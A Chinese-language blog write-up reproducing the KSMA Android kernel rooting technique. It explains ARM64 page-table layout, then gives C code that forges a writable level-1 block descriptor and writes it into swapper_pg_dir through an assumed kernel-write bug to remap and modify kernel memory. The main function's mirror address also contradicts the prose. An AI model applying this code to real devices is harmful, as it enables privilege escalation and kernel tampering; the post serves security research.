Author: geneblue
Blog: https://geneblue.github.io/
2018 年 blackhat asia 会议上，阿里巴巴的安全研究员
ThomasKing 做了 Android Root
方面的主题演讲，题为《KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features》。笔者对这样的通用
Root 方式是比较感兴趣的，便着手复现了一下。
ThomasKing 为这种通用 root 方式起了个不错的名字 KSMA(Kernel
Space Mirroring
Attack)，意为内核空间镜像攻击。简单的说，在内核的一级页表中伪造一个
d_block 类型的 descriptor
(内存描述符)，将内核镜像所在的 PA (物理地址) 映射到
descriptor 所对应的 VA (虚拟地址) 处。通过修改
d_block 中的一些内存属性，就可以做到对 VA
处映射的内核镜像做读写操作，从而可以任意修改内核代码。
0X01 linux 页表介绍
linux 内核采用分页机制管理 VA，并使用
MMU（内存管理单元） 完成 VA 到 PA 的转换。page (内存页)
大小一般为 4KB 16KB 或者 64 KB，为了更有效率的管理 page，内核使用 page
table（页表）来组织所有page。页表是分级的，pc
系统一般使用4级页表，现阶段 android 系统采用3级页表，页大小
4KB。以下均以 4KB 3级页表作为讨论基础。
下面图表搭配着看比较好理解一些，下图位于 armv8 手册
D4-1744 处，下表位于内核
Documentation/arm64/memory.txt 处。
image
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| AArch64 Linux memory layout with 4KB pages:
Start End Size Use
-----------------------------------------------------------------------
0000000000000000 0000007fffffffff 512GB user
ffffff8000000000 ffffffbbfffeffff ~240GB vmalloc
ffffffbbffff0000 ffffffbbffffffff 64KB [guard page]
ffffffbc00000000 ffffffbdffffffff 8GB vmemmap
ffffffbe00000000 ffffffbffbbfffff ~8GB [guard, future vmmemap]
ffffffbffa000000 ffffffbffaffffff 16MB PCI I/O space
ffffffbffb000000 ffffffbffbbfffff 12MB [guard]
ffffffbffbc00000 ffffffbffbdfffff 2MB fixed mappings
ffffffbffbe00000 ffffffbffbffffff 2MB [guard]
ffffffbffc000000 ffffffbfffffffff 64MB modules
ffffffc000000000 ffffffffffffffff 256GB kernel logical memory map
|
1
2
3
4
5
6
7
8
9
10
11
12
| Translation table lookup with 4KB pages:
+--------+--------+--------+--------+--------+--------+--------+--------+
|63 56|55 48|47 40|39 32|31 24|23 16|15 8|7 0|
+--------+--------+--------+--------+--------+--------+--------+--------+
| | | | | |
| | | | | v
| | | | | [11:0] in-page offset
| | | | +-> [20:12] L3 index
| | | +-----------> [29:21] L2 index
| | +---------------------> [38:30] L1 index
| +-------------------------------> [47:39] L0 index (not used)
+-------------------------------------------------> [63] TTBR0/1
|
- usr 空间地址范围为：0x0000000000000000 ～ 0x0000007fffffffff，共计
512GB
- kernel 空间地址范围为：0xffffff8000000000 ～
0xffffffffffffffff，共计 512GB
对于3级页表，Level 0 table 并未采用，通过 Level 1 table 可以获取
Level 2 table 的内存位置，通过 Level 2 table 可以获取 Level 3 table
的内存位置，Level 3 table 又可以获取具体 page 所在的内存位置。
比如 0xffffffc000080030 这个 VA 按照上述翻译表的计算方式，可获知
1
2
3
4
| vaddr = 0xffffffc000080030
ttbr1
poffset = 0x30
L0_index = 0x1ff L1_index = 0x100 L2_index = 0x0 L3_index = 0x80
|
ttbr1 表明这是一个内核地址，poffseet 表明内存在页内偏移为
0x30，L0页表没采用，数值没意义，是一级页表(pgd)的第 0x100
项，二级页表(pmd)的第0项，三级页表(pte)的第0x80项。
需要说明的是内核与用户态进程使用的不是同一份页表，内核拥有自己单独的页表，内核线程共享，用户态进程分别拥有自己的页表。
内核页表在内核初始化时静态创建，如下 init_mm。pgd 指向
swapper_pg_dir，在没有 KASLR
的情况下，该全局变量是一个固定值
0xffffffc00007d000，所以内核一级页表位于固定内存位置
1
2
3
4
5
6
7
8
9
10
| struct mm_struct init_mm = {
.mm_rb = RB_ROOT,
.pgd = swapper_pg_dir,
.mm_users = ATOMIC_INIT(2),
.mm_count = ATOMIC_INIT(1),
.mmap_sem = __RWSEM_INITIALIZER(init_mm.mmap_sem),
.page_table_lock = __SPIN_LOCK_UNLOCKED(init_mm.page_table_lock),
.mmlist = LIST_HEAD_INIT(init_mm.mmlist),
INIT_MM_CONTEXT(init_mm)
};
|
用户程序页表是在创建用户态程序时动态分配在内核堆中，这一点，可以从
execve 的内核实现中看出，调用关系如下：
1
| `do_execve_common() --> bprm_mm_init() --> mm_alloc() --> mm_init() --> mm_alloc_pgd() --> pgd_alloc()`
|
一级页表有两种描述符（64bit），table类型和
block 类型，如下图所示，block 类型指向指定的
1GB 内存区域，table
类型描述下一级页表的起始地址。对于伪造页表攻击，我们关心的是一级页表中
block 类型的页表项。
image
image
关键在于要理解 d_block 描述符各 bit 意义，各 bit 详情参见 arm
手册，D4-1796，需要说明 AP[2:1] 和 output
address：
- bit[7:6]: AP[2:1]
属性，设置对应内存的数据访问权限，需要设置为内存可读写，这是我们关心的
- bit[47:30]: output address 表示 d_block 要映射 PA 的 [47:30] bit
位的值。
0X02 伪造ttbr1的d_block描述符
理解上述页表的过程，伪造 d_block
页表就很简单了，前提是拥有至少一次内核地址写操作。所以，这种利用方法可以搭配某些地址写的漏洞使用。
拥有一次写地址权限后，在特定位置上写上 d_block 即可。
特定位置也就是伪造的 d_block
描述符应该在内存什么位置。该内存位置是可以计算出来的。内核
VA中有很多的地址空间是没有被使用的，准确的说，没有被映射过。这些内存空洞就可以用来重新映射内核镜像
PA。不考虑 KASLR 的情形，内核镜像加载的起始地址一般为
0xffffffc000000000，镜像大小 1Gb（0x40000000 Byte）
左右。0xffffffc200000000
开始的区域通常为内存空洞区域，我们可以将该地址开始的 1Gb
空间，作为再次映射内核 PA 的 VA。当然也是可以采用其他区域的，比如
0xffffffc300000000 开始的 VA，这里以 0xffffffc200000000 作为示例
计算 0xffffffc200000000（vaddr） 对应的一级页表 d_block
描述符位置的过程如下：
1
2
| L1_index = (vaddr & 0x0000007fc0000000) >> 30;
fake_d_block_addr = swapper_pg_dir + L1_index * 0x8;
|
确定好位置后，按照上述 d_block 各 bit 意义构造好
fake_d_block，用地址写漏洞写入指定位置。
之后，内核 PA 就会被映射到 vaddr 处，直接使用指针操作 vaddr
内存即可。
image
image
0X03 主要代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
| #define PAGE_OFFSEST 0xffffffc000000000
void parse_vaddr(unsigned long vaddr)
{
int ttrb0 = 0;
int poffset = 0;
int L0_index = 0;
int L1_index = 0;
int L2_index = 0;
int L3_index = 0;
ttrb0 = (vaddr & 0x8000000000000000) >> 63;
poffset = (vaddr & 0x0000000000000fff);
L0_index = (vaddr & 0x0000ff8000000000) >> 39;
L1_index = (vaddr & 0x0000007fc0000000) >> 30;
L2_index = (vaddr & 0x000000003fe00000) >> 21;
L3_index = (vaddr & 0x00000000001ff000) >> 12;
printf("[%s] vaddr = 0x%lx\n", __func__, vaddr);
printf("[%s] ttbr%d \n", __func__, ttrb0);
printf("[%s] poffset = 0x%x\n", __func__, poffset);
printf("[%s] L0_index = 0x%x L1_index = 0x%x L2_index = 0x%x L3_index = 0x%x\n",
__func__, L0_index, L1_index, L2_index, L3_index);
}
void fake_dblock_in_level1_page_table(unsigned long kimg_phys_addr, unsigned long L1_table_start_addr, unsigned long vaddr)
{
unsigned long fake_d_block = 0l;
unsigned long fake_d_block_addr = 0l;
int L1_index = 0;
L1_index = (vaddr & 0x0000007fc0000000) >> 30;
fake_d_block_addr = L1_table_start_addr + L1_index * 0x8;
printf("L1_inde = 0x%x fake_d_block_addr = 0x%lx\n", L1_index, fake_d_block_addr);
fake_d_block = fake_d_block | (0x0000000000000001);
fake_d_block = fake_d_block | (0x0000000000000800);
fake_d_block = fake_d_block | (0x0000000000000400);
fake_d_block = fake_d_block | (0x0000000000000200);
fake_d_block = fake_d_block | (0x0000000000000040);
fake_d_block = fake_d_block | (0x0000000000000020);
fake_d_block = fake_d_block | (0x0000000000000010);
fake_d_block = fake_d_block | (kimg_phys_addr & 0x0000ffffc0000000);
fake_d_block = fake_d_block | (0x0010000000000000);
fake_d_block = fake_d_block | (0x0020000000000000);
fake_d_block = fake_d_block | (0x0040000000000000);
printf("[fake] vaddr = 0x%lx\n", vaddr);
printf("[fake] fake_d_block_addr = 0x%lx --> 0x%016lx\n", fake_d_block_addr, fake_d_block);
errno = 0;
write_at_address_pipe((void*)fake_d_block_addr, &fake_d_block, sizeof(unsigned long));
printf("write errno = %d %s\n", errno , strerror(errno));
}
void test_addr_directly() {
unsigned long addr = 0xffffffc200000000 + 0x20000000 + 0x80000;
printf("0x%lx --> 0x%lx\n", addr, *(unsigned long *) addr);
*(unsigned long *) addr = 0x100;
printf("0x%lx --> 0x%lx\n", addr, *(unsigned long *) addr);
}
int main(int argc, char *argv[])
{
disable_addr_limit();
unsigned long kimage_phys_addr = 0x20000000;
unsigned long L1_table_start_addr = 0xffffffc00007d000;
unsigned long fake_kernel_vaddr = 0xffffffc000000000;
fake_dblock_in_level1_page_table(kimage_phys_addr, L1_table_start_addr, fake_kernel_vaddr);
test_addr_directly();
return 0;
}
|
0X04 参考